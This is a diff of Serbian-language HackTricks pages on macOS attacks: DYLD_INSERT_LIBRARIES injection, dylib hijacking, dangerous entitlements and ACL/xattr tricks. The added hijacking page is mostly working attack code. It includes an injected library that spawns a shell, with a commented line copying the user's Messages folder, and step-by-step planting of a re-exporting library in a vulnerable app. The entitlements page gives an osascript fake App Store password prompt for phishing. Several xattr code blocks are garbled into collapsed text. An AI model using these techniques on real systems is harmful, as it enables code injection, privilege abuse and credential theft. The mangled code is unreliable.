Možete proveriti da li proces ima ovu zastavicu sa (preuzmite [**csops ovde**](https://github.com/axelexic/CSOps)):
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
csops -status <pid>
|
csops -status <pid>
|
||||||
```
|
```
|
||||||
|
|
||||||
zatim proverite da li je zastavica 0x800 omogućena.
|
zatim proverite da li je zastavica 0x800 omogućena.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Reference
|
## Reference
|
||||||
* [https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/](https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/)
|
|
||||||
|
* [https://theevilbit.github.io/posts/dyld\_insert\_libraries\_dylib\_injection\_in\_macos\_osx\_deep\_dive/](https://theevilbit.github.io/posts/dyld\_insert\_libraries\_dylib\_injection\_in\_macos\_osx\_deep\_dive/)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -329,7 +346,7 @@ Drugi načini podrške HackTricks-u:
|
||||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -0,0 +1,188 @@
|
||||||
|
# macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
## DYLD\_INSERT\_LIBRARIES Osnovni primer
|
||||||
|
|
||||||
|
**Biblioteka za ubacivanje** radi izvršavanja shell-a:
|
||||||
|
```c
|
||||||
|
// gcc -dynamiclib -o inject.dylib inject.c
|
||||||
|
|
||||||
|
#include <syslog.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
__attribute__((constructor))
|
||||||
|
|
||||||
|
void myconstructor(int argc, const char **argv)
|
||||||
|
{
|
||||||
|
syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
|
||||||
|
printf("[+] dylib injected in %s\n", argv[0]);
|
||||||
|
execv("/bin/bash", 0);
|
||||||
|
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Binarni fajl za napad:
|
||||||
|
```c
|
||||||
|
// gcc hello.c -o hello
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
int main()
|
||||||
|
{
|
||||||
|
printf("Hello, World!\n");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Ubacivanje:
|
||||||
|
```bash
|
||||||
|
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
|
||||||
|
```
|
||||||
|
## Primer Dyld preuzimanja kontrole
|
||||||
|
|
||||||
|
Ciljani ranjivi binarni fajl je `/Applications/VulnDyld.app/Contents/Resources/lib/binary`.
|
||||||
|
|
||||||
|
{% tabs %}
|
||||||
|
{% tab title="entitlements" %}
|
||||||
|
<pre class="language-bash" data-overflow="wrap"><code class="lang-bash">codesign -dv --entitlements :- "/Applications/VulnDyld.app/Contents/Resources/lib/binary"
|
||||||
|
<strong>[...]com.apple.security.cs.disable-library-validation[...]
|
||||||
|
</strong></code></pre>
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
|
{% tab title="LC_RPATH" %}
|
||||||
|
{% code overflow="wrap" %}
|
||||||
|
```bash
|
||||||
|
# Check where are the @rpath locations
|
||||||
|
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2
|
||||||
|
cmd LC_RPATH
|
||||||
|
cmdsize 32
|
||||||
|
path @loader_path/. (offset 12)
|
||||||
|
--
|
||||||
|
cmd LC_RPATH
|
||||||
|
cmdsize 32
|
||||||
|
path @loader_path/../lib2 (offset 12)
|
||||||
|
```
|
||||||
|
{% endcode %}
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
|
{% tab title="@rpath" %}
|
||||||
|
{% code overflow="wrap" %}
|
||||||
|
```bash
|
||||||
|
# Check librareis loaded using @rapth and the used versions
|
||||||
|
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep "@rpath" -A 3
|
||||||
|
name @rpath/lib.dylib (offset 24)
|
||||||
|
time stamp 2 Thu Jan 1 01:00:02 1970
|
||||||
|
current version 1.0.0
|
||||||
|
compatibility version 1.0.0
|
||||||
|
# Check the versions
|
||||||
|
```
|
||||||
|
{% code %}
|
||||||
|
{% endcode %}
|
||||||
|
{% endtab %}
|
||||||
|
{% endtabs %}
|
||||||
|
|
||||||
|
Sa prethodnim informacijama znamo da **ne proverava potpis učitanih biblioteka** i pokušava da učita biblioteku sa:
|
||||||
|
|
||||||
|
* `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
|
||||||
|
* `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`
|
||||||
|
|
||||||
|
Međutim, prva ne postoji:
|
||||||
|
```bash
|
||||||
|
pwd
|
||||||
|
/Applications/VulnDyld.app
|
||||||
|
|
||||||
|
find ./ -name lib.dylib
|
||||||
|
./Contents/Resources/lib2/lib.dylib
|
||||||
|
```
|
||||||
|
Dakle, moguće je preuzeti kontrolu nad tim! Kreirajte biblioteku koja **izvršava proizvoljni kod i izvozi iste funkcionalnosti** kao i legitimna biblioteka ponovnim izvozom. I ne zaboravite da je kompajlirate sa očekivanim verzijama:
|
||||||
|
|
||||||
|
{% code title="lib.m" %}
|
||||||
|
```objectivec
|
||||||
|
#import <Foundation/Foundation.h>
|
||||||
|
|
||||||
|
__attribute__((constructor))
|
||||||
|
void custom(int argc, const char **argv) {
|
||||||
|
NSLog(@"[+] dylib hijacked in %s", argv[0]);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
{% endcode %}
|
||||||
|
|
||||||
|
Kompajlirajte ga:
|
||||||
|
|
||||||
|
{% code overflow="wrap" %}
|
||||||
|
```bash
|
||||||
|
gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
|
||||||
|
# Note the versions and the reexport
|
||||||
|
```
|
||||||
|
{% endcode %}
|
||||||
|
|
||||||
|
Putanja reizvoza koju je stvorila biblioteka je relativna u odnosu na učitavač, promenimo je u apsolutnu putanju do biblioteke za izvoz:
|
||||||
|
|
||||||
|
{% code overflow="wrap" %}
|
||||||
|
```bash
|
||||||
|
#Check relative
|
||||||
|
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
|
||||||
|
cmd LC_REEXPORT_DYLIB
|
||||||
|
cmdsize 48
|
||||||
|
name @rpath/libjli.dylib (offset 24)
|
||||||
|
|
||||||
|
#Change the location of the library absolute to absolute path
|
||||||
|
install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib
|
||||||
|
|
||||||
|
# Check again
|
||||||
|
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
|
||||||
|
cmd LC_REEXPORT_DYLIB
|
||||||
|
cmdsize 128
|
||||||
|
name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)
|
||||||
|
```
|
||||||
|
{% endcode %}
|
||||||
|
|
||||||
|
Na kraju samo kopirajte ga na **preuzetu lokaciju**:
|
||||||
|
|
||||||
|
{% code overflow="wrap" %}
|
||||||
|
```bash
|
||||||
|
cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
|
||||||
|
```
|
||||||
|
{% endcode %}
|
||||||
|
|
||||||
|
I **izvršite** binarnu datoteku i proverite da li je **biblioteka učitana**:
|
||||||
|
|
||||||
|
<pre class="language-context"><code class="lang-context">"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
|
||||||
|
<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
|
||||||
|
</strong>Usage: [...]
|
||||||
|
</code></pre>
|
||||||
|
|
||||||
|
{% hint style="info" %}
|
||||||
|
Lepo objašnjenje o tome kako iskoristiti ovu ranjivost kako bi se zloupotrebila dozvola kamere u Telegramu može se naći na [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
## Veći obim
|
||||||
|
|
||||||
|
Ako planirate da pokušate da ubacite biblioteke u neočekivane binarne datoteke, možete proveriti poruke događaja da biste saznali kada je biblioteka učitana unutar procesa (u ovom slučaju uklonite printf i izvršavanje `/bin/bash`).
|
||||||
|
```bash
|
||||||
|
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
|
||||||
|
```
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
|
@ -1,4 +1,4 @@
|
||||||
# macOS Opasna Ovlašćenja & TCC dozvole
|
# macOS Dangerous Entitlements & TCC perms
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -30,11 +30,11 @@ Ovlašćenje **`com.apple.rootless.install`** omogućava **zaobilazak SIP-a**. P
|
||||||
|
|
||||||
### **`com.apple.system-task-ports` (ranije nazvano `task_for_pid-allow`)**
|
### **`com.apple.system-task-ports` (ranije nazvano `task_for_pid-allow`)**
|
||||||
|
|
||||||
Ovo ovlašćenje omogućava dobijanje **task porta za bilo** koji proces, osim kernela. Proverite [**ovde za više informacija**](../mac-os-architecture/macos-ipc-inter-process-communication/).
|
Ovo ovlašćenje omogućava dobijanje **task porta za bilo** koji proces, osim kernela. Proverite [**ovde za više informacija**](../macos-proces-abuse/macos-ipc-inter-process-communication/).
|
||||||
|
|
||||||
### `com.apple.security.get-task-allow`
|
### `com.apple.security.get-task-allow`
|
||||||
|
|
||||||
Ovo ovlašćenje omogućava drugim procesima sa ovlašćenjem **`com.apple.security.cs.debugger`** da dobiju task port procesa pokrenutog binarnim fajlom sa ovim ovlašćenjem i **ubace kod u njega**. Proverite [**ovde za više informacija**](../mac-os-architecture/macos-ipc-inter-process-communication/).
|
Ovo ovlašćenje omogućava drugim procesima sa ovlašćenjem **`com.apple.security.cs.debugger`** da dobiju task port procesa pokrenutog binarnim fajlom sa ovim ovlašćenjem i **ubace kod u njega**. Proverite [**ovde za više informacija**](../macos-proces-abuse/macos-ipc-inter-process-communication/).
|
||||||
|
|
||||||
### `com.apple.security.cs.debugger`
|
### `com.apple.security.cs.debugger`
|
||||||
|
|
||||||
|
@ -88,6 +88,7 @@ TODO: U [**ovom izveštaju**](https://jhftss.github.io/The-Nightmare-of-Apple-OT
|
||||||
### `keychain-access-groups`
|
### `keychain-access-groups`
|
||||||
|
|
||||||
Ovo ovlašćenje nabraja **grupe ključeva** kojima aplikacija ima pristup:
|
Ovo ovlašćenje nabraja **grupe ključeva** kojima aplikacija ima pristup:
|
||||||
|
|
||||||
```xml
|
```xml
|
||||||
<key>keychain-access-groups</key>
|
<key>keychain-access-groups</key>
|
||||||
<array>
|
<array>
|
||||||
|
@ -98,6 +99,7 @@ Ovo ovlašćenje nabraja **grupe ključeva** kojima aplikacija ima pristup:
|
||||||
<string>IMCore</string>
|
<string>IMCore</string>
|
||||||
</array>
|
</array>
|
||||||
```
|
```
|
||||||
|
|
||||||
### **`kTCCServiceSystemPolicyAllFiles`**
|
### **`kTCCServiceSystemPolicyAllFiles`**
|
||||||
|
|
||||||
Daje dozvole za **Pristup celom disku**, jednu od najviših dozvola koje možete imati u TCC-u.
|
Daje dozvole za **Pristup celom disku**, jednu od najviših dozvola koje možete imati u TCC-u.
|
||||||
|
@ -107,10 +109,10 @@ Daje dozvole za **Pristup celom disku**, jednu od najviših dozvola koje možete
|
||||||
Omogućava aplikaciji slanje događaja drugim aplikacijama koje se često koriste za **automatizaciju zadataka**. Kontrolišući druge aplikacije, može zloupotrebiti dozvole koje su date tim drugim aplikacijama.
|
Omogućava aplikaciji slanje događaja drugim aplikacijama koje se često koriste za **automatizaciju zadataka**. Kontrolišući druge aplikacije, može zloupotrebiti dozvole koje su date tim drugim aplikacijama.
|
||||||
|
|
||||||
Na primer, može ih naterati da zatraže korisnikovu lozinku:
|
Na primer, može ih naterati da zatraže korisnikovu lozinku:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to activate' -e 'tell app "App Store" to display dialog "App Store requires your password to continue." & return & return default answer "" with icon 1 with hidden answer with title "App Store Alert"'
|
osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to activate' -e 'tell app "App Store" to display dialog "App Store requires your password to continue." & return & return default answer "" with icon 1 with hidden answer with title "App Store Alert"'
|
||||||
```
|
```
|
||||||
{% endcode %}
|
|
||||||
|
|
||||||
Ili ih naterati da izvrše **proizvoljne radnje**.
|
Ili ih naterati da izvrše **proizvoljne radnje**.
|
||||||
|
|
||||||
|
@ -167,12 +169,14 @@ Ova dozvola omogućava montiranje nullfs fajl sistema (podrazumevano zabranjeno)
|
||||||
### `kTCCServiceAll`
|
### `kTCCServiceAll`
|
||||||
|
|
||||||
Prema ovom blog postu, ova TCC dozvola obično se nalazi u obliku:
|
Prema ovom blog postu, ova TCC dozvola obično se nalazi u obliku:
|
||||||
|
|
||||||
```
|
```
|
||||||
[Key] com.apple.private.tcc.allow-prompting
|
[Key] com.apple.private.tcc.allow-prompting
|
||||||
[Value]
|
[Value]
|
||||||
[Array]
|
[Array]
|
||||||
[String] kTCCServiceAll
|
[String] kTCCServiceAll
|
||||||
```
|
```
|
||||||
|
|
||||||
Dozvoli procesu da **zatraži sve TCC dozvole**.
|
Dozvoli procesu da **zatraži sve TCC dozvole**.
|
||||||
|
|
||||||
### **`kTCCServicePostEvent`**
|
### **`kTCCServicePostEvent`**
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# macOS xattr-acls dodatne informacije
|
# macOS xattr-acls extra stuff
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -9,21 +9,16 @@ Drugi načini podrške HackTricks-u:
|
||||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
```bash
|
|
||||||
rm -rf /tmp/test*
|
\`\`\`bash rm -rf /tmp/test\* echo test >/tmp/test chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test ./get\_acls test ACL for test: !#acl 1 group:ABCDEFAB-CDEF-ABCD-EFAB-CDEF0000000C:everyone:12:deny:write,writeattr,writeextattr,writesecurity,chown
|
||||||
echo test >/tmp/test
|
|
||||||
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test
|
|
||||||
./get_acls test
|
|
||||||
ACL for test:
|
|
||||||
!#acl 1
|
|
||||||
group:ABCDEFAB-CDEF-ABCD-EFAB-CDEF0000000C:everyone:12:deny:write,writeattr,writeextattr,writesecurity,chown
|
|
||||||
|
|
||||||
ACL in hex: \x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a
|
ACL in hex: \x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a
|
||||||
```
|
|
||||||
|
````
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Kod funkcije get_acls</summary>
|
<summary>Kod funkcije get_acls</summary>
|
||||||
|
@ -66,103 +61,47 @@ acl_free(acl);
|
||||||
acl_free(acl_text);
|
acl_free(acl_text);
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
```
|
````
|
||||||
</details>
|
|
||||||
```bash
|
\`\`\`bash # Lets add the xattr com.apple.xxx.xxxx with the acls mkdir start mkdir start/protected ./set\_xattr start/protected echo something > start/protected/something \`\`\`
|
||||||
# Lets add the xattr com.apple.xxx.xxxx with the acls
|
|
||||||
mkdir start
|
|
||||||
mkdir start/protected
|
|
||||||
./set_xattr start/protected
|
|
||||||
echo something > start/protected/something
|
|
||||||
```
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Kod funkcije set_xattr</summary>
|
<summary>Kod funkcije set_xattr</summary>
|
||||||
```c
|
|
||||||
// gcc -o set_xattr set_xattr.c
|
|
||||||
#include <stdio.h>
|
|
||||||
#include <stdlib.h>
|
|
||||||
#include <string.h>
|
|
||||||
#include <sys/xattr.h>
|
|
||||||
#include <sys/acl.h>
|
|
||||||
|
|
||||||
|
\`\`\`c // gcc -o set\_xattr set\_xattr.c #include #include #include #include #include
|
||||||
|
|
||||||
void print_xattrs(const char *filepath) {
|
void print\_xattrs(const char \*filepath) { ssize\_t buflen = listxattr(filepath, NULL, 0, XATTR\_NOFOLLOW); if (buflen < 0) { perror("listxattr"); return; }
|
||||||
ssize_t buflen = listxattr(filepath, NULL, 0, XATTR_NOFOLLOW);
|
|
||||||
if (buflen < 0) {
|
|
||||||
perror("listxattr");
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
char *buf = malloc(buflen);
|
char \*buf = malloc(buflen); if (buf == NULL) { perror("malloc"); return; }
|
||||||
if (buf == NULL) {
|
|
||||||
perror("malloc");
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
buflen = listxattr(filepath, buf, buflen, XATTR_NOFOLLOW);
|
buflen = listxattr(filepath, buf, buflen, XATTR\_NOFOLLOW); if (buflen < 0) { perror("listxattr"); free(buf); return; }
|
||||||
if (buflen < 0) {
|
|
||||||
perror("listxattr");
|
|
||||||
free(buf);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
printf("All current extended attributes for %s:\n", filepath);
|
printf("All current extended attributes for %s:\n", filepath); for (char \*name = buf; name < buf + buflen; name += strlen(name) + 1) { printf("%s: ", name); ssize\_t valuelen = getxattr(filepath, name, NULL, 0, 0, XATTR\_NOFOLLOW); if (valuelen < 0) { perror("getxattr"); continue; }
|
||||||
for (char *name = buf; name < buf + buflen; name += strlen(name) + 1) {
|
|
||||||
printf("%s: ", name);
|
|
||||||
ssize_t valuelen = getxattr(filepath, name, NULL, 0, 0, XATTR_NOFOLLOW);
|
|
||||||
if (valuelen < 0) {
|
|
||||||
perror("getxattr");
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
|
|
||||||
char *value = malloc(valuelen + 1);
|
char \*value = malloc(valuelen + 1); if (value == NULL) { perror("malloc"); continue; }
|
||||||
if (value == NULL) {
|
|
||||||
perror("malloc");
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
|
|
||||||
valuelen = getxattr(filepath, name, value, valuelen, 0, XATTR_NOFOLLOW);
|
valuelen = getxattr(filepath, name, value, valuelen, 0, XATTR\_NOFOLLOW); if (valuelen < 0) { perror("getxattr"); free(value); continue; }
|
||||||
if (valuelen < 0) {
|
|
||||||
perror("getxattr");
|
|
||||||
free(value);
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
|
|
||||||
value[valuelen] = '\0'; // Null-terminate the value
|
value\[valuelen] = '\0'; // Null-terminate the value printf("%s\n", value); free(value); }
|
||||||
printf("%s\n", value);
|
|
||||||
free(value);
|
|
||||||
}
|
|
||||||
|
|
||||||
free(buf);
|
free(buf); }
|
||||||
}
|
|
||||||
|
|
||||||
|
int main(int argc, char \*argv\[]) { if (argc != 2) { fprintf(stderr, "Usage: %s \n", argv\[0]); return 1; }
|
||||||
|
|
||||||
int main(int argc, char *argv[]) {
|
const char \*hex = "\x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a"; const char \*filepath = argv\[1];
|
||||||
if (argc != 2) {
|
|
||||||
fprintf(stderr, "Usage: %s <filepath>\n", argv[0]);
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
const char *hex = "\x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a";
|
int result = setxattr(filepath, "com.apple.xxx.xxxx", hex, strlen(hex), 0, 0); if (result == 0) { printf("Extended attribute set successfully.\n\n"); } else { perror("setxattr"); return 1; }
|
||||||
const char *filepath = argv[1];
|
|
||||||
|
|
||||||
int result = setxattr(filepath, "com.apple.xxx.xxxx", hex, strlen(hex), 0, 0);
|
print\_xattrs(filepath);
|
||||||
if (result == 0) {
|
|
||||||
printf("Extended attribute set successfully.\n\n");
|
|
||||||
} else {
|
|
||||||
perror("setxattr");
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
print_xattrs(filepath);
|
return 0; }
|
||||||
|
|
||||||
return 0;
|
````
|
||||||
}
|
|
||||||
```
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
<div data-gb-custom-block data-tag="code" data-overflow='wrap'>
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Create appledoublefile with the xattr entitlement
|
# Create appledoublefile with the xattr entitlement
|
||||||
ditto -c -k start protected.zip
|
ditto -c -k start protected.zip
|
||||||
|
@ -176,23 +115,10 @@ rm -rf protected.zip
|
||||||
